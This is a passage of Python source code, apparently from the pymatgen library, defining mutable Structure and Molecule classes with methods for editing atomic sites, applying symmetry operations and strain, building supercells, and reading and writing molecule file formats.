\"*.{}*\".format(r))\n for r in [\"gjf\", \"g03\", \"g09\", \"com\", \"inp\"]]):\n writer = GaussianInput(self)\n elif fmt == \"json\" or fnmatch(fname, \"*.json*\") or fnmatch(fname,\n \"*.mson*\"):\n if filename:\n with zopen(filename, \"wt\", encoding='utf8') as f:\n return json.dump(self.as_dict(), f)\n else:\n return json.dumps(self.as_dict())\n elif fmt == \"yaml\" or fnmatch(fname, \"*.yaml*\"):\n import yaml\n\n try:\n from yaml import CSafeDumper as Dumper\n except ImportError:\n from yaml import SafeDumper as Dumper\n if filename:\n with zopen(fname, \"wt\", encoding='utf8') as f:\n return yaml.dump(self.as_dict(), f, Dumper=Dumper)\n else:\n return yaml.dump(self.as_dict(), Dumper=Dumper)\n\n else:\n m = re.search(r\"\\.(pdb|mol|mdl|sdf|sd|ml2|sy2|mol2|cml|mrv)\",\n fname.lower())\n if (not fmt) and m:\n fmt = m.group(1)\n writer = BabelMolAdaptor(self)\n return writer.write_file(filename, file_format=fmt)\n\n if filename:\n writer.write_file(filename)\n else:\n return str(writer)\n\n @classmethod\n def from_str(cls, input_string, fmt):\n \"\"\"\n Reads the molecule from a string.\n\n Args:\n input_string (str): String to parse.\n fmt (str): Format to output to. Defaults to JSON unless filename\n is provided. If fmt is specifies, it overrides whatever the\n filename is. Options include \"xyz\", \"gjf\", \"g03\", \"json\". If\n you have OpenBabel installed, any of the formats supported by\n OpenBabel. Non-case sensitive.\n\n Returns:\n IMolecule or Molecule.\n \"\"\"\n from pymatgen.io.xyz import XYZ\n from pymatgen.io.gaussian import GaussianInput\n if fmt.lower() == \"xyz\":\n m = XYZ.from_string(input_string).molecule\n elif fmt in [\"gjf\", \"g03\", \"g09\", \"com\", \"inp\"]:\n m = GaussianInput.from_string(input_string).molecule\n elif fmt == \"json\":\n d = json.loads(input_string)\n return cls.from_dict(d)\n elif fmt == \"yaml\":\n import yaml\n\n try:\n from yaml import CSafeDumper as Dumper, CLoader as Loader\n except ImportError:\n from yaml import SafeDumper as Dumper, Loader\n d = yaml.load(input_string, Loader=Loader)\n return cls.from_dict(d)\n else:\n from pymatgen.io.babel import BabelMolAdaptor\n m = BabelMolAdaptor.from_string(input_string,\n file_format=fmt).pymatgen_mol\n return cls.from_sites(m)\n\n @classmethod\n def from_file(cls, filename):\n \"\"\"\n Reads a molecule from a file. Supported formats include xyz,\n gaussian input (gjf|g03|g09|com|inp), Gaussian output (.out|and\n pymatgen's JSON serialized molecules. Using openbabel,\n many more extensions are supported but requires openbabel to be\n installed.\n\n Args:\n filename (str): The filename to read from.\n\n Returns:\n Molecule\n \"\"\"\n from pymatgen.io.gaussian import GaussianOutput\n with zopen(filename) as f:\n contents = f.read()\n fname = filename.lower()\n if fnmatch(fname, \"*.xyz*\"):\n return cls.from_str(contents, fmt=\"xyz\")\n elif any([fnmatch(fname.lower(), \"*.{}*\".format(r))\n for r in [\"gjf\", \"g03\", \"g09\", \"com\", \"inp\"]]):\n return cls.from_str(contents, fmt=\"g09\")\n elif any([fnmatch(fname.lower(), \"*.{}*\".format(r))\n for r in [\"out\", \"lis\", \"log\"]]):\n return GaussianOutput(filename).final_structure\n elif fnmatch(fname, \"*.json*\") or fnmatch(fname, \"*.mson*\"):\n return cls.from_str(contents, fmt=\"json\")\n elif fnmatch(fname, \"*.yaml*\"):\n return cls.from_str(contents, fmt=\"yaml\")\n else:\n from pymatgen.io.babel import BabelMolAdaptor\n m = re.search(r\"\\.(pdb|mol|mdl|sdf|sd|ml2|sy2|mol2|cml|mrv)\",\n filename.lower())\n if m:\n new = BabelMolAdaptor.from_file(filename,\n m.group(1)).pymatgen_mol\n new.__class__ = cls\n return new\n\n raise ValueError(\"Unrecognized file extension!\")\n\n\nclass Structure(IStructure, collections.MutableSequence):\n \"\"\"\n Mutable version of structure.\n \"\"\"\n __hash__ = None\n\n def __init__(self, lattice, species, coords, validate_proximity=False,\n to_unit_cell=False, coords_are_cartesian=False,\n site_properties=None):\n \"\"\"\n Create a periodic structure.\n\n Args:\n lattice: The lattice, either as a pymatgen.core.lattice.Lattice or\n simply as any 2D array. Each row should correspond to a lattice\n vector. E.g., [[10,0,0], [20,10,0], [0,0,30]] specifies a\n lattice with lattice vectors [10,0,0], [20,10,0] and [0,0,30].\n species: List of species on each site. Can take in flexible input,\n including:\n\n i. A sequence of element / specie specified either as string\n symbols, e.g. [\"Li\", \"Fe2+\", \"P\", ...] or atomic numbers,\n e.g., (3, 56, ...) or actual Element or Specie objects.\n\n ii. List of dict of elements/species and occupancies, e.g.,\n [{\"Fe\" : 0.5, \"Mn\":0.5}, ...]. This allows the setup of\n disordered structures.\n fractional_coords: list of fractional coordinates of each species.\n validate_proximity (bool): Whether to check if there are sites\n that are less than 0.01 Ang apart. Defaults to False.\n coords_are_cartesian (bool): Set to True if you are providing\n coordinates in cartesian coordinates. Defaults to False.\n site_properties (dict): Properties associated with the sites as a\n dict of sequences, e.g., {\"magmom\":[5,5,5,5]}. The sequences\n have to be the same length as the atomic species and\n fractional_coords. Defaults to None for no properties.\n \"\"\"\n super(Structure, self).__init__(lattice, species, coords,\n validate_proximity=validate_proximity,\n to_unit_cell=to_unit_cell,\n coords_are_cartesian=coords_are_cartesian,\n site_properties=site_properties)\n\n self._sites = list(self._sites)\n\n def __setitem__(self, i, site):\n \"\"\"\n Modify a site in the structure.\n\n Args:\n i (int, [int], slice, Specie-like): Indices to change. You can\n specify these as an int, a list of int, or a species-like\n string.\n site (PeriodicSite/Specie/Sequence): Three options exist. You\n can provide a PeriodicSite directly (lattice will be\n checked). Or more conveniently, you can provide a\n specie-like object or a tuple of up to length 3.\n\n Examples:\n s[0] = \"Fe\"\n s[0] = Element(\"Fe\")\n both replaces the species only.\n s[0] = \"Fe\", [0.5, 0.5, 0.5]\n Replaces site and *fractional* coordinates. Any properties\n are inherited from current site.\n s[0] = \"Fe\", [0.5, 0.5, 0.5], {\"spin\": 2}\n Replaces site and *fractional* coordinates and properties.\n\n s[(0, 2, 3)] = \"Fe\"\n Replaces sites 0, 2 and 3 with Fe.\n\n s[0::2] = \"Fe\"\n Replaces all even index sites with Fe.\n\n s[\"Mn\"] = \"Fe\"\n Replaces all Mn in the structure with Fe. This is\n a short form for the more complex replace_species.\n\n s[\"Mn\"] = \"Fe0.5Co0.5\"\n Replaces all Mn in the structure with Fe: 0.5, Co: 0.5, i.e.,\n creates a disordered structure!\n \"\"\"\n\n if isinstance(i, int):\n indices = [i]\n elif isinstance(i, six.string_types + (Element, Specie)):\n self.replace_species({i: site})\n return\n elif isinstance(i, slice):\n to_mod = self[i]\n indices = [ii for ii, s in enumerate(self._sites)\n if s in to_mod]\n else:\n indices = list(i)\n\n for ii in indices:\n if isinstance(site, PeriodicSite):\n if site.lattice != self._lattice:\n raise ValueError(\"PeriodicSite added must have same lattice \"\n \"as Structure!\")\n elif len(indices) != 1:\n raise ValueError(\"Site assignments makes sense only for \"\n \"single int indices!\")\n self._sites[ii] = site\n else:\n if isinstance(site, six.string_types) or (\n not isinstance(site, collections.Sequence)):\n sp = site\n frac_coords = self._sites[ii].frac_coords\n properties = self._sites[ii].properties\n else:\n sp = site[0]\n frac_coords = site[1] if len(site) > 1 else \\\n self._sites[ii].frac_coords\n properties = site[2] if len(site) > 2 else \\\n self._sites[ii].properties\n\n self._sites[ii] = PeriodicSite(sp, frac_coords, self._lattice,\n properties=properties)\n\n def __delitem__(self, i):\n \"\"\"\n Deletes a site from the Structure.\n \"\"\"\n self._sites.__delitem__(i)\n\n def append(self, species, coords, coords_are_cartesian=False,\n validate_proximity=False, properties=None):\n \"\"\"\n Append a site to the structure.\n\n Args:\n species: Species of inserted site\n coords (3x1 array): Coordinates of inserted site\n coords_are_cartesian (bool): Whether coordinates are cartesian.\n Defaults to False.\n validate_proximity (bool): Whether to check if inserted site is\n too close to an existing site. Defaults to False.\n properties (dict): Properties of the site.\n\n Returns:\n New structure with inserted site.\n \"\"\"\n return self.insert(len(self), species, coords,\n coords_are_cartesian=coords_are_cartesian,\n validate_proximity=validate_proximity,\n properties=properties)\n\n def insert(self, i, species, coords, coords_are_cartesian=False,\n validate_proximity=False, properties=None):\n \"\"\"\n Insert a site to the structure.\n\n Args:\n i (int): Index to insert site\n species (species-like): Species of inserted site\n coords (3x1 array): Coordinates of inserted site\n coords_are_cartesian (bool): Whether coordinates are cartesian.\n Defaults to False.\n validate_proximity (bool): Whether to check if inserted site is\n too close to an existing site. Defaults to False.\n properties (dict): Properties associated with the site.\n\n Returns:\n New structure with inserted site.\n \"\"\"\n if not coords_are_cartesian:\n new_site = PeriodicSite(species, coords, self._lattice,\n properties=properties)\n else:\n frac_coords = self._lattice.get_fractional_coords(coords)\n new_site = PeriodicSite(species, frac_coords, self._lattice,\n properties=properties)\n\n if validate_proximity:\n for site in self:\n if site.distance(new_site) < self.DISTANCE_TOLERANCE:\n raise ValueError(\"New site is too close to an existing \"\n \"site!\")\n\n self._sites.insert(i, new_site)\n\n def add_site_property(self, property_name, values):\n \"\"\"\n Adds a property to all sites.\n\n Args:\n property_name (str): The name of the property to add.\n values: A sequence of values. Must be same length as number of\n sites.\n \"\"\"\n if len(values) != len(self._sites):\n raise ValueError(\"Values must be same length as sites.\")\n for i in range(len(self._sites)):\n site = self._sites[i]\n props = site.properties\n if not props:\n props = {}\n props[property_name] = values[i]\n self._sites[i] = PeriodicSite(site.species_and_occu,\n site.frac_coords, self._lattice,\n properties=props)\n\n def replace_species(self, species_mapping):\n \"\"\"\n Swap species in a structure.\n\n Args:\n species_mapping (dict): Dict of species to swap. Species can be\n elements too. e.g., {Element(\"Li\"): Element(\"Na\")} performs\n a Li for Na substitution. The second species can be a\n sp_and_occu dict. For example, a site with 0.5 Si that is\n passed the mapping {Element('Si): {Element('Ge'):0.75,\n Element('C'):0.25} } will have .375 Ge and .125 C. You can\n also supply strings that represent elements or species and\n the code will try to figure out the meaning. E.g.,\n {\"C\": \"C0.5Si0.5\"} will replace all C with 0.5 C and 0.5 Si,\n i.e., a disordered site.\n \"\"\"\n latt = self._lattice\n species_mapping = {get_el_sp(k): v\n for k, v in species_mapping.items()}\n sp_to_replace = set(species_mapping.keys())\n sp_in_structure = set(self.composition.keys())\n if not sp_in_structure.issuperset(sp_to_replace):\n warnings.warn(\"Some species to be substituted are not present in \"\n \"structure. Pls check your input. Species to be \"\n \"substituted = %s; Species in structure = %s\"\n % (sp_to_replace, sp_in_structure))\n\n def mod_site(site):\n if sp_to_replace.intersection(site.species_and_occu):\n c = Composition()\n for sp, amt in site.species_and_occu.items():\n new_sp = species_mapping.get(sp, sp)\n try:\n c += Composition(new_sp) * amt\n except Exception:\n c += {new_sp: amt}\n return PeriodicSite(c, site.frac_coords, latt,\n properties=site.properties)\n return site\n\n self._sites = [mod_site(site) for site in self._sites]\n\n def replace(self, i, species, coords=None, coords_are_cartesian=False,\n properties=None):\n \"\"\"\n Replace a single site. Takes either a species or a dict of species and\n occupations.\n\n Args:\n i (int): Index of the site in the _sites list.\n species (species-like): Species of replacement site\n coords (3x1 array): Coordinates of replacement site. If None,\n the current coordinates are assumed.\n coords_are_cartesian (bool): Whether coordinates are cartesian.\n Defaults to False.\n properties (dict): Properties associated with the site.\n \"\"\"\n if coords is None:\n frac_coords = self[i].frac_coords\n elif coords_are_cartesian:\n frac_coords = self._lattice.get_fractional_coords(coords)\n else:\n frac_coords = coords\n\n new_site = PeriodicSite(species, frac_coords, self._lattice,\n properties=properties)\n self._sites[i] = new_site\n\n def remove_species(self, species):\n \"\"\"\n Remove all occurrences of several species from a structure.\n\n Args:\n species: Sequence of species to remove, e.g., [\"Li\", \"Na\"].\n \"\"\"\n new_sites = []\n species = [get_el_sp(s) for s in species]\n\n for site in self._sites:\n new_sp_occu = {sp: amt for sp, amt in site.species_and_occu.items()\n if sp not in species}\n if len(new_sp_occu) > 0:\n new_sites.append(PeriodicSite(\n new_sp_occu, site.frac_coords, self._lattice,\n properties=site.properties))\n self._sites = new_sites\n\n def remove_sites(self, indices):\n \"\"\"\n Delete sites with at indices.\n\n Args:\n indices: Sequence of indices of sites to delete.\n \"\"\"\n self._sites = [s for i, s in enumerate(self._sites)\n if i not in indices]\n\n def apply_operation(self, symmop, fractional=False):\n \"\"\"\n Apply a symmetry operation to the structure and return the new\n structure. The lattice is operated by the rotation matrix only.\n Coords are operated in full and then transformed to the new lattice.\n\n Args:\n symmop (SymmOp): Symmetry operation to apply.\n fractional (bool): Whether the symmetry operation is applied in\n fractional space. Defaults to False, i.e., symmetry operation\n is applied in cartesian coordinates.\n \"\"\"\n if not fractional:\n self._lattice = Lattice([symmop.apply_rotation_only(row)\n for row in self._lattice.matrix])\n\n def operate_site(site):\n new_cart = symmop.operate(site.coords)\n new_frac = self._lattice.get_fractional_coords(new_cart)\n return PeriodicSite(site.species_and_occu, new_frac,\n self._lattice,\n properties=site.properties)\n\n else:\n new_latt = np.dot(symmop.rotation_matrix, self._lattice.matrix)\n self._lattice = Lattice(new_latt)\n\n def operate_site(site):\n return PeriodicSite(site.species_and_occu,\n symmop.operate(site.frac_coords),\n self._lattice,\n properties=site.properties)\n\n self._sites = [operate_site(s) for s in self._sites]\n\n def modify_lattice(self, new_lattice):\n \"\"\"\n Modify the lattice of the structure. Mainly used for changing the\n basis.\n\n Args:\n new_lattice (Lattice): New lattice\n \"\"\"\n self._lattice = new_lattice\n new_sites = []\n for site in self._sites:\n new_sites.append(PeriodicSite(site.species_and_occu,\n site.frac_coords,\n self._lattice,\n properties=site.properties))\n self._sites = new_sites\n\n def apply_strain(self, strain):\n \"\"\"\n Apply a strain to the lattice.\n\n Args:\n strain (float or list): Amount of strain to apply. Can be a float,\n or a sequence of 3 numbers. E.g., 0.01 means all lattice\n vectors are increased by 1%. This is equivalent to calling\n modify_lattice with a lattice with lattice parameters that\n are 1% larger.\n \"\"\"\n s = (1 + np.array(strain)) * np.eye(3)\n self.modify_lattice(Lattice(np.dot(self._lattice.matrix.T, s).T))\n\n def sort(self, key=None, reverse=False):\n \"\"\"\n Sort a structure in place. The parameters have the same meaning as in\n list.sort. By default, sites are sorted by the electronegativity of\n the species. The difference between this method and\n get_sorted_structure (which also works in IStructure) is that the\n latter returns a new Structure, while this just sorts the Structure\n in place.\n\n Args:\n key: Specifies a function of one argument that is used to extract\n a comparison key from each list element: key=str.lower. The\n default value is None (compare the elements directly).\n reverse (bool): If set to True, then the list elements are sorted\n as if each comparison were reversed.\n \"\"\"\n self._sites = sorted(self._sites, key=key, reverse=reverse)\n\n def translate_sites(self, indices, vector, frac_coords=True,\n to_unit_cell=True):\n \"\"\"\n Translate specific sites by some vector, keeping the sites within the\n unit cell.\n\n Args:\n indices: Integer or List of site indices on which to perform the\n translation.\n vector: Translation vector for sites.\n frac_coords (bool): Whether the vector corresponds to fractional or\n cartesian coordinates.\n to_unit_cell (bool): Whether new sites are transformed to unit\n cell\n \"\"\"\n if not isinstance(indices, collections.Iterable):\n indices = [indices]\n\n for i in indices:\n site = self._sites[i]\n if frac_coords:\n fcoords = site.frac_coords + vector\n else:\n fcoords = self._lattice.get_fractional_coords(\n site.coords + vector)\n new_site = PeriodicSite(site.species_and_occu, fcoords,\n self._lattice, to_unit_cell=to_unit_cell,\n coords_are_cartesian=False,\n properties=site.properties)\n self._sites[i] = new_site\n\n def perturb(self, distance):\n \"\"\"\n Performs a random perturbation of the sites in a structure to break\n symmetries.\n\n Args:\n distance (float): Distance in angstroms by which to perturb each\n site.\n \"\"\"\n\n def get_rand_vec():\n # deals with zero vectors.\n vector = np.random.randn(3)\n vnorm = np.linalg.norm(vector)\n return vector / vnorm * distance if vnorm != 0 else get_rand_vec()\n\n for i in range(len(self._sites)):\n self.translate_sites([i], get_rand_vec(), frac_coords=False)\n\n def add_oxidation_state_by_element(self, oxidation_states):\n \"\"\"\n Add oxidation states to a structure.\n\n Args:\n oxidation_states (dict): Dict of oxidation states.\n E.g., {\"Li\":1, \"Fe\":2, \"P\":5, \"O\":-2}\n \"\"\"\n try:\n for i, site in enumerate(self._sites):\n new_sp = {}\n for el, occu in site.species_and_occu.items():\n sym = el.symbol\n new_sp[Specie(sym, oxidation_states[sym])] = occu\n new_site = PeriodicSite(new_sp, site.frac_coords,\n self._lattice,\n coords_are_cartesian=False,\n properties=site.properties)\n self._sites[i] = new_site\n\n except KeyError:\n raise ValueError(\"Oxidation state of all elements must be \"\n \"specified in the dictionary.\")\n\n def add_oxidation_state_by_site(self, oxidation_states):\n \"\"\"\n Add oxidation states to a structure by site.\n\n Args:\n oxidation_states (list): List of oxidation states.\n E.g., [1, 1, 1, 1, 2, 2, 2, 2, 5, 5, 5, 5, -2, -2, -2, -2]\n \"\"\"\n try:\n for i, site in enumerate(self._sites):\n new_sp = {}\n for el, occu in site.species_and_occu.items():\n sym = el.symbol\n new_sp[Specie(sym, oxidation_states[i])] = occu\n new_site = PeriodicSite(new_sp, site.frac_coords,\n self._lattice,\n coords_are_cartesian=False,\n properties=site.properties)\n self._sites[i] = new_site\n\n except IndexError:\n raise ValueError(\"Oxidation state of all sites must be \"\n \"specified in the dictionary.\")\n\n def remove_oxidation_states(self):\n \"\"\"\n Removes oxidation states from a structure.\n \"\"\"\n for i, site in enumerate(self._sites):\n new_sp = collections.defaultdict(float)\n for el, occu in site.species_and_occu.items():\n sym = el.symbol\n new_sp[Element(sym)] += occu\n new_site = PeriodicSite(new_sp, site.frac_coords,\n self._lattice,\n coords_are_cartesian=False,\n properties=site.properties)\n self._sites[i] = new_site\n\n def make_supercell(self, scaling_matrix, to_unit_cell=True):\n \"\"\"\n Create a supercell.\n\n Args:\n scaling_matrix: A scaling matrix for transforming the lattice\n vectors. Has to be all integers. Several options are possible:\n\n a. A full 3x3 scaling matrix defining the linear combination\n the old lattice vectors. E.g., [[2,1,0],[0,3,0],[0,0,\n 1]] generates a new structure with lattice vectors a' =\n 2a + b, b' = 3b, c' = c where a, b, and c are the lattice\n vectors of the original structure.\n b. An sequence of three scaling factors. E.g., [2, 1, 1]\n specifies that the supercell should have dimensions 2a x b x\n c.\n c. A number, which simply scales all lattice vectors by the\n same factor.\n to_unit_cell: Whether or not to fall back sites into the unit cell\n \"\"\"\n s = self*scaling_matrix\n if to_unit_cell:\n for isite, site in enumerate(s):\n s[isite] = site.to_unit_cell\n self._sites = s.sites\n self._lattice = s.lattice\n\n def scale_lattice(self, volume):\n \"\"\"\n Performs a scaling of the lattice vectors so that length proportions\n and angles are preserved.\n\n Args:\n volume (float): New volume of the unit cell in A^3.\n \"\"\"\n self.modify_lattice(self._lattice.scale(volume))\n\n def merge_sites(self, tol=0.01, mode=\"sum\"):\n \"\"\"\n Merges sites (adding occupancies) within tol of each other.\n Removes site properties.\n\n Args:\n tol (float): Tolerance for distance to merge sites.\n mode (str): Two modes supported. \"delete\" means duplicate sites are\n deleted. \"sum\" means the occupancies are summed for the sites.\n Only first letter is considered.\n\n \"\"\"\n mode = mode.lower()[0]\n from scipy.spatial.distance import squareform\n from scipy.cluster.hierarchy import fcluster, linkage\n\n d = self.distance_matrix\n np.fill_diagonal(d, 0)\n clusters = fcluster(linkage(squareform((d + d.T) / 2)),\n tol, 'distance')\n sites = []\n for c in np.unique(clusters):\n inds = np.where(clusters == c)[0]\n species = self[inds[0]].species_and_occu\n coords = self[inds[0]].frac_coords\n for n, i in enumerate(inds[1:]):\n sp = self[i].species_and_occu\n if mode == \"s\":\n species += sp\n offset = self[i].frac_coords - coords\n coords += ((offset - np.round(offset)) / (n + 2)).astype(\n coords.dtype)\n sites.append(PeriodicSite(species, coords, self.lattice))\n\n self._sites = sites\n\n\nclass Molecule(IMolecule, collections.MutableSequence):\n \"\"\"\n Mutable Molecule. It has all the methods in IMolecule, but in addition,\n it allows a user to perform edits on the molecule.\n \"\"\"\n __hash__ = None\n\n def __init__(self, species, coords, charge=0,\n spin_multiplicity=None, validate_proximity=False,\n site_properties=None):\n \"\"\"\n Creates a MutableMolecule.\n\n Args:\n species: list of atomic species. Possible kinds of input include a\n list of dict of elements/species and occupancies, a List of\n elements/specie specified as actual Element/Specie, Strings\n (\"Fe\", \"Fe2+\") or atomic numbers (1,56).\n coords (3x1 array): list of cartesian coordinates of each species.\n charge (float): Charge for the molecule. Defaults to 0.\n spin_multiplicity (int): Spin multiplicity for molecule.\n Defaults to None, which means that the spin multiplicity is\n set to 1 if the molecule has no unpaired electrons and to 2\n if there are unpaired electrons.\n validate_proximity (bool): Whether to check if there are sites\n that are less than 1 Ang apart. Defaults to False.\n site_properties (dict): Properties associated with the sites as\n a dict of sequences, e.g., {\"magmom\":[5,5,5,5]}. The\n sequences have to be the same length as the atomic species\n and fractional_coords. Defaults to None for no properties.\n \"\"\"\n super(Molecule, self).__init__(species, coords, charge=charge,\n spin_multiplicity=spin_multiplicity,\n validate_proximity=validate_proximity,\n site_properties=site_properties)\n self._sites = list(self._sites)\n\n def __setitem__(self, i, site):\n \"\"\"\n Modify a site in the molecule.\n\n Args:\n i (int, [int], slice, Specie-like): Indices to change. You can\n specify these as an int, a list of int, or a species-like\n string.\n site (PeriodicSite/Specie/Sequence): Three options exist. You can\n provide a Site directly, or for convenience, you can provide\n simply a Specie-like string/object, or finally a (Specie,\n coords) sequence, e.g., (\"Fe\", [0.5, 0.5, 0.5]).\n \"\"\"\n\n if isinstance(i, int):\n indices = [i]\n elif isinstance(i, six.string_types + (Element, Specie)):\n self.replace_species({i: site})\n return\n elif isinstance(i, slice):\n to_mod = self[i]\n indices = [ii for ii, s in enumerate(self._sites)\n if s in to_mod]\n else:\n indices = list(i)\n\n for ii in indices:\n if isinstance(site, Site):\n self._sites[ii] = site\n else:\n if isinstance(site, six.string_types) or (\n not isinstance(site, collections.Sequence)):\n sp = site\n coords = self._sites[ii].coords\n properties = self._sites[ii].properties\n else:\n sp = site[0]\n coords = site[1] if len(site) > 1 else self._sites[\n ii].coords\n properties = site[2] if len(site) > 2 else self._sites[ii] \\\n .properties\n\n self._sites[ii] = Site(sp, coords, properties=properties)\n\n def __delitem__(self, i):\n \"\"\"\n Deletes a site from the Structure.\n \"\"\"\n self._sites.__delitem__(i)\n\n def append(self, species, coords, validate_proximity=True,\n properties=None):\n \"\"\"\n Appends a site to the molecule.\n\n Args:\n species: Species of inserted site\n coords: Coordinates of inserted site\n validate_proximity (bool): Whether to check if inserted site is\n too close to an existing site. Defaults to True.\n properties (dict): A dict of properties for the Site.\n\n Returns:\n New molecule with inserted site.\n \"\"\"\n return self.insert(len(self), species, coords,\n validate_proximity=validate_proximity,\n properties=properties)\n\n def set_charge_and_spin(self, charge, spin_multiplicity=None):\n \"\"\"\n Set the charge and spin multiplicity.\n\n Args:\n charge (int): Charge for the molecule. Defaults to 0.\n spin_multiplicity (int): Spin multiplicity for molecule.\n Defaults to None, which means that the spin multiplicity is\n set to 1 if the molecule has no unpaired electrons and to 2\n if there are unpaired electrons.\n \"\"\"\n self._charge = charge\n nelectrons = 0\n for site in self._sites:\n for sp, amt in site.species_and_occu.items():\n nelectrons += sp.Z * amt\n nelectrons -= charge\n self._nelectrons = nelectrons\n if spin_multiplicity:\n if (nelectrons + spin_multiplicity) % 2 != 1:\n raise ValueError(\n \"Charge of {} and spin multiplicity of {} is\"\n \" not possible for this molecule\".format(\n self._charge, spin_multiplicity))\n self._spin_multiplicity = spin_multiplicity\n else:\n self._spin_multiplicity = 1 if nelectrons % 2 == 0 else 2\n\n def insert(self, i, species, coords, validate_proximity=False,\n properties=None):\n \"\"\"\n Insert a site to the molecule.\n\n Args:\n i (int): Index to insert site\n species: species of inserted site\n coords (3x1 array): coordinates of inserted site\n validate_proximity (bool): Whether to check if inserted site is\n too close to an existing site. Defaults to True.\n properties (dict): Dict of properties for the Site.\n\n Returns:\n New molecule with inserted site.\n \"\"\"\n new_site = Site(species, coords, properties=properties)\n if validate_proximity:\n for site in self:\n if site.distance(new_site) < self.DISTANCE_TOLERANCE:\n raise ValueError(\"New site is too close to an existing \"\n \"site!\")\n self._sites.insert(i, new_site)\n\n def add_site_property(self, property_name, values):\n \"\"\"\n Adds a property to a site.\n\n Args:\n property_name (str): The name of the property to add.\n values (list): A sequence of values. Must be same length as\n number of sites.\n \"\"\"\n if len(values) != len(self._sites):\n raise ValueError(\"Values must be same length as sites.\")\n for i in range(len(self._sites)):\n site = self._sites[i]\n props = site.properties\n if not props:\n props = {}\n props[property_name] = values[i]\n self._sites[i] = Site(site.species_and_occu, site.coords,\n properties=props)\n\n def replace_species(self, species_mapping):\n \"\"\"\n Swap species in a molecule.\n\n Args:\n species_mapping (dict): dict of species to swap. Species can be\n elements too. E.g., {Element(\"Li\"): Element(\"Na\")} performs\n a Li for Na substitution. The second species can be a\n sp_and_occu dict. For example, a site with 0.5 Si that is\n passed the mapping {Element('Si): {Element('Ge'):0.75,\n Element('C'):0.25} } will have .375 Ge and .125 C.\n \"\"\"\n species_mapping = {get_el_sp(k): v\n for k, v in species_mapping.items()}\n\n def mod_site(site):\n c = Composition()\n for sp, amt in site.species_and_occu.items():\n new_sp = species_mapping.get(sp, sp)\n try:\n c += Composition(new_sp) * amt\n except TypeError:\n c += {new_sp: amt}\n return Site(c, site.coords, properties=site.properties)\n\n self._sites = [mod_site(site) for site in self._sites]\n\n def remove_species(self, species):\n \"\"\"\n Remove all occurrences of a species from a molecule.\n\n Args:\n species: Species to remove.\n \"\"\"\n new_sites = []\n species = [get_el_sp(sp) for sp in species]\n for site in self._sites:\n new_sp_occu = {sp: amt for sp, amt in site.species_and_occu.items()\n if sp not in species}\n if len(new_sp_occu) > 0:\n new_sites.append(Site(new_sp_occu, site.coords,\n properties=site.properties))\n self._sites = new_sites\n\n def remove_sites(self, indices):\n \"\"\"\n Delete sites with at indices.\n\n Args:\n indices: Sequence of indices of sites to delete.\n \"\"\"\n self._sites = [self._sites[i] for i in range(len(self._sites))\n if i not in indices]\n\n def translate_sites(self, indices=None, vector=None):\n \"\"\"\n Translate specific sites by some vector, keeping the sites within the\n unit cell.\n\n Args:\n indices (list): List of site indices on which to perform the\n translation.\n vector (3x1 array): Translation vector for sites.\n \"\"\"\n if indices is None:\n indices = range(len(self))\n if vector is None:\n vector == [0, 0, 0]\n for i in indices:\n site = self._sites[i]\n new_site = Site(site.species_and_occu, site.coords + vector,\n properties=site.properties)\n self._sites[i] = new_site\n\n def rotate_sites(self, indices=None, theta=0, axis=None, anchor=None):\n \"\"\"\n Rotate specific sites by some angle around vector at anchor.\n\n Args:\n indices (list): List of site indices on which to perform the\n translation.\n angle (float): Angle in radians\n axis (3x1 array): Rotation axis vector.\n anchor (3x1 array): Point of rotation.\n \"\"\"\n\n from numpy.linalg import norm\n from numpy import cross, eye\n from scipy.linalg import expm\n\n if indices is None:\n indices = range(len(self))\n\n if axis is None:\n axis = [0, 0, 1]\n\n if anchor is None:\n anchor = [0, 0, 0]\n\n anchor = np.array(anchor)\n axis = np.array(axis)\n\n theta %= 2 * np.pi\n\n rm = expm(cross(eye(3), axis / norm(axis)) * theta)\n\n for i in indices:\n site = self._sites[i]\n s = ((rm * np.matrix(site.coords - anchor).T).T + anchor).A1\n new_site = Site(site.species_and_occu, s,\n properties=site.properties)\n self._sites[i] = new_site\n\n def perturb(self, distance):\n \"\"\"\n Performs a random perturbation of the sites in a structure to break\n symmetries.\n\n Args:\n distance (float): Distance in angstroms by which to perturb each\n site.\n \"\"\"\n\n def get_rand_vec():\n # deals with zero vectors.\n vector = np.random.randn(3)\n vnorm = np.linalg.norm(vector)\n return vector / vnorm * distance if vnorm != 0 else get_rand_vec()\n\n for i in range(len(self._sites)):\n self.translate_sites([i], get_rand_vec())\n\n def apply_operation(self, symmop):\n \"\"\"\n Apply a symmetry operation to the molecule.\n\n Args:\n symmop (SymmOp): Symmetry operation to apply.\n \"\"\"\n\n def operate_site(site):\n new_cart = symmop.operate(site.coords)\n return Site(site.species_and_occu, new_cart,\n properties=site.properties)\n\n self._sites = [operate_site(s) for s in self._sites]\n\n def copy(self):\n \"\"\"\n Convenience method to get a copy of the molecule.\n\n Returns:\n A copy of the Molecule.\n \"\"\"\n return self.__class__.from_sites(self)\n\n def substitute(self, index, func_grp, bond_order=1):\n \"\"\"\n Substitute atom at index with a functional group.\n\n Args:\n index (int): Index of atom to substitute.\n func_grp: Substituent molecule. There are two options:\n\n 1. Providing an actual molecule as the input. The first atom\n must be a DummySpecie X, indicating the position of\n nearest neighbor. The second atom must be the next\n nearest atom. For example, for a methyl group\n substitution, func_grp should be X-CH3, where X is the\n first site and C is the second site. What the code will\n do is to remove the index site, and connect the nearest\n neighbor to the C atom in CH3. The X-C bond indicates the\n directionality to connect the atoms.\n 2. A string name. The molecule will be obtained from the\n relevant template in functional_groups.json.\n bond_order: A specified bond order to calculate the bond length\n between the attached functional group and the nearest\n neighbor site. Defaults to 1.\n \"\"\"\n\n # Find the nearest neighbor that is not a terminal atom.\n all_non_terminal_nn = []\n for nn, dist in self.get_neighbors(self[index], 3):\n # Check that the nn has neighbors within a sensible distance but\n # is not the site being substituted.\n for inn, dist2 in self.get_neighbors(nn, 3):\n if inn != self[index] and \\\n dist2 < 1.2 * get_bond_length(nn.specie,\n inn.specie):\n all_non_terminal_nn.append((nn, dist))\n break\n\n if len(all_non_terminal_nn) == 0:\n raise RuntimeError(\"Can't find a non-terminal neighbor to attach\"\n \" functional group to.\")\n\n non_terminal_nn = min(all_non_terminal_nn, key=lambda d: d[1])[0]\n\n # Set the origin point to be the coordinates of the nearest\n # non-terminal neighbor.\n origin = non_terminal_nn.coords\n\n # Pass value of functional group--either from user-defined or from\n # functional.json\n if isinstance(func_grp, Molecule):\n func_grp = func_grp\n else:\n # Check to see whether the functional group is in database.\n if func_grp not in FunctionalGroups:\n raise RuntimeError(\"Can't find functional group in list. \"\n \"Provide 